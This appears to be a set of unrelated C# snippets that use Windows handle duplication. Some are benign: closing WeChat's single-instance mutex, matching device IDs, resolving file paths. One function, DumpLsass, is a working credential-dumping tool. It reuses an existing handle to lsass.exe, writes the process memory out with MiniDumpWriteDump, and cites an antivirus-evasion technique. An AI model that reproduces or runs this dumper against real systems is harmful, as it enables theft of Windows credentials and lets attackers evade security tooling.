public static void FindAndCloseWeChatMutexHandle(SYSTEM_HANDLE_INFORMATION systemHandleInformation, Process process) { IntPtr ipHandle = IntPtr.Zero; IntPtr openProcessHandle = IntPtr.Zero; IntPtr hObjectName = IntPtr.Zero; try { PROCESS_ACCESS_FLAGS flags = PROCESS_ACCESS_FLAGS.DupHandle | PROCESS_ACCESS_FLAGS.VMRead; openProcessHandle = OpenProcess(flags, false, process.Id); // 通过 DuplicateHandle 访问句柄 if (!DuplicateHandle(openProcessHandle, new IntPtr(systemHandleInformation.Handle), GetCurrentProcess(), out ipHandle, 0, false, DUPLICATE_SAME_ACCESS)) { return; } int nLength = 0; hObjectName = Marshal.AllocHGlobal(256 * 1024); // 查询句柄名称 while ((uint)(NtQueryObject(ipHandle, (int)OBJECT_INFORMATION_CLASS.ObjectNameInformation, hObjectName, nLength, ref nLength)) == STATUS_INFO_LENGTH_MISMATCH) { Marshal.FreeHGlobal(hObjectName); if (nLength == 0) { Console.WriteLine("Length returned at zero!"); return; } hObjectName = Marshal.AllocHGlobal(nLength); } OBJECT_NAME_INFORMATION objObjectName = new OBJECT_NAME_INFORMATION(); objObjectName = (OBJECT_NAME_INFORMATION)Marshal.PtrToStructure(hObjectName, objObjectName.GetType()); if (objObjectName.Name.Buffer != IntPtr.Zero) { string strObjectName = Marshal.PtrToStringUni(objObjectName.Name.Buffer); Console.WriteLine(strObjectName); // \Sessions\1\BaseNamedObjects\_WeChat_App_Instance_Identity_Mutex_Name if (strObjectName.Contains("_Instance_Identity_Mutex_Name")) { // 通过 DuplicateHandle DUPLICATE_CLOSE_SOURCE 关闭句柄 IntPtr mHandle = IntPtr.Zero; if (DuplicateHandle(openProcessHandle, new IntPtr(systemHandleInformation.Handle), GetCurrentProcess(), out mHandle, 0, false, DUPLICATE_CLOSE_SOURCE)) { CloseHandle(mHandle); } } } } catch (Exception ex) { Console.WriteLine(ex.Message); } finally { Marshal.FreeHGlobal(hObjectName); CloseHandle(ipHandle); CloseHandle(openProcessHandle); } }
public static void DumpLsass(SYSTEM_HANDLE_INFORMATION handleInfo, string FileName) { // Code for getting handles was found here https://stackoverflow.com/questions/54872228/c-sharp-how-to-find-all-handles-associated-with-current-process // idea for getting existing handles to dump lsass found here https://skelsec.medium.com/duping-av-with-handles-537ef985eb03 IntPtr ipHandle = IntPtr.Zero; IntPtr openProcessHandle = IntPtr.Zero; IntPtr hObjectName = IntPtr.Zero; PROCESS_ACCESS_FLAGS flags = PROCESS_ACCESS_FLAGS.DupHandle | PROCESS_ACCESS_FLAGS.VMRead; openProcessHandle = OpenProcess(flags, false, (int)handleInfo.ProcessID); bool test = DuplicateHandle(openProcessHandle, new IntPtr(handleInfo.Handle), GetCurrentProcess(), out ipHandle, 0, false, DUPLICATE_SAME_ACCESS); int pLength = 0; hObjectName = Marshal.AllocHGlobal(256 * 1024); while ((uint)(NtQueryObject(ipHandle, (int)OBJECT_INFORMATION_CLASS.ObjectTypeInformation, hObjectName, pLength, ref pLength)) == STATUS_INFO_LENGTH_MISMATCH) { Marshal.FreeHGlobal(hObjectName); if (pLength == 0) { Console.WriteLine("Length returned at zero!"); } hObjectName = Marshal.AllocHGlobal(pLength); } OBJECT_NAME_INFORMATION objObjectName = Marshal.PtrToStructure <OBJECT_NAME_INFORMATION>(hObjectName); if (objObjectName.Name.Buffer != IntPtr.Zero) { string strObjectName = Marshal.PtrToStringUni(objObjectName.Name.Buffer); if (strObjectName == "Process") { int max = 1024; StringBuilder str = new StringBuilder(max); QueryFullProcessImageName(ipHandle, 0, str, ref max); if (str.ToString().Contains("lsass.exe")) { Console.WriteLine("[+] Found open handle to lass: " + ipHandle); FileStream dumpFile = new FileStream(FileName, FileMode.Create); Console.WriteLine("[+] Attempting to dump lsass with handle..."); bool dumped = MiniDumpWriteDump(ipHandle, handleInfo.ProcessID, dumpFile.SafeFileHandle.DangerousGetHandle(), 2, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero); dumpFile.Close(); if (dumped == true) { Console.WriteLine("[+] Dumped lsass"); System.Environment.Exit(1); } } } } }
private static string GetFilePath(SYSTEM_HANDLE_INFORMATION systemHandleInformation, Process process) { IntPtr ipHandle = IntPtr.Zero; IntPtr openProcessHandle = IntPtr.Zero; IntPtr hObjectName = IntPtr.Zero; try { PROCESS_ACCESS_FLAGS flags = PROCESS_ACCESS_FLAGS.DupHandle | PROCESS_ACCESS_FLAGS.VMRead; openProcessHandle = OpenProcess(flags, false, process.Id); if (!DuplicateHandle(openProcessHandle, new IntPtr(systemHandleInformation.Handle), GetCurrentProcess(), out ipHandle, 0, false, DUPLICATE_SAME_ACCESS)) { return(null); } if (GetFileType(ipHandle) != FileType.FileTypeDisk) { return(null); } int nLength = 0; hObjectName = Marshal.AllocHGlobal(256 * 1024); while ((uint)(NtQueryObject(ipHandle, (int)OBJECT_INFORMATION_CLASS.ObjectNameInformation, hObjectName, nLength, ref nLength)) == STATUS_INFO_LENGTH_MISMATCH) { Marshal.FreeHGlobal(hObjectName); if (nLength == 0) { Console.WriteLine("Length returned at zero!"); return(null); } hObjectName = Marshal.AllocHGlobal(nLength); } OBJECT_NAME_INFORMATION objObjectName = Marshal.PtrToStructure <OBJECT_NAME_INFORMATION>(hObjectName); if (objObjectName.Name.Buffer != IntPtr.Zero) { string strObjectName = Marshal.PtrToStringUni(objObjectName.Name.Buffer); return(GetRegularFileNameFromDevice(strObjectName)); } } catch (Exception ex) { Console.WriteLine(ex.Message); } finally { Marshal.FreeHGlobal(hObjectName); CloseHandle(ipHandle); CloseHandle(openProcessHandle); } return(null); }
private static extern IntPtr OpenProcess(PROCESS_ACCESS_FLAGS dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, int dwProcessId);
private static Device GetHandleName(SYSTEM_HANDLE_INFORMATION systemHandleInformation, Process process, int count, int handleCount) { IntPtr ipHandle = IntPtr.Zero; IntPtr openProcessHandle = IntPtr.Zero; IntPtr hObjectName = IntPtr.Zero; Device IDFound = null; Int32 accessMask = (Int32)systemHandleInformation.AccessMask; if (systemHandleInformation.ProcessID != process.Id || accessMask == 0x0012019f || accessMask == 0x001a019f || accessMask == 0x00120189 || accessMask == 0x00100000) { return(IDFound); } try { //Set up flags for and then get a process handle for the current process being checked PROCESS_ACCESS_FLAGS flags = PROCESS_ACCESS_FLAGS.DupHandle | PROCESS_ACCESS_FLAGS.VMRead; openProcessHandle = OpenProcess(flags, false, process.Id); //Duplicate the process handle into ipHandle, if this fails return null if (!DuplicateHandle(openProcessHandle, new IntPtr(systemHandleInformation.Handle), GetCurrentProcess(), out ipHandle, 0, false, DUPLICATE_SAME_ACCESS)) { return(IDFound); } int nLength = 0; hObjectName = Marshal.AllocHGlobal(256 * 1024); //Allocate memory for a max length handle name //Try to find out exactly how long the object name is, then once you've allocated the proper amount of memory, copy it into hObjectName while ((uint)(NtQueryObject(ipHandle, (int)OBJECT_INFORMATION_CLASS.ObjectNameInformation, hObjectName, nLength, ref nLength)) == STATUS_INFO_LENGTH_MISMATCH) { Marshal.FreeHGlobal(hObjectName); if (nLength == 0) { Console.WriteLine("Length returned at zero!"); return(IDFound); } hObjectName = Marshal.AllocHGlobal(nLength); } //Move the infromation in hObjectName to an easier to use structure OBJECT_NAME_INFORMATION OBJECT_NAME_INFORMATION objObjectName = Marshal.PtrToStructure <OBJECT_NAME_INFORMATION>(hObjectName); //Check if we have a proper name if (objObjectName.Name.Buffer != IntPtr.Zero) { //Convert objObjectName to a normal string, this is the handle's name string strObjectName = Marshal.PtrToStringUni(objObjectName.Name.Buffer); bool deviceIDFound = false; //Check the handle name for if it contains anything releveant (in this case it's checking for a device ID) if it does, return it foreach (Device device in deviceList) { if (strObjectName.ToLower().Contains(device.PNPDeviceIDSubstring.ToLower())) { IDFound = device; deviceIDFound = true; } } if (deviceIDFound) { //Console.WriteLine("Handle matched!!!\n\n\nProcess Name: " + process.ProcessName + "strObjectName: " + strObjectName + "\nid: " + IDFound + "\n\n\n"); } else { //If it doesnt, return null //Console.WriteLine("(" + count + " / " + handleCount + "): " + strObjectName); } } } catch (Exception ex) { Console.WriteLine(ex.Message); } finally { //Clean up managed memory Marshal.FreeHGlobal(hObjectName); CloseHandle(ipHandle); CloseHandle(openProcessHandle); } return(IDFound); }
private static extern bool DuplicateHandle(IntPtr hSourceProcessHandle, IntPtr hSourceHandle, IntPtr hTargetProcessHandle, out IntPtr lpTargetHandle, PROCESS_ACCESS_FLAGS dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwOptions);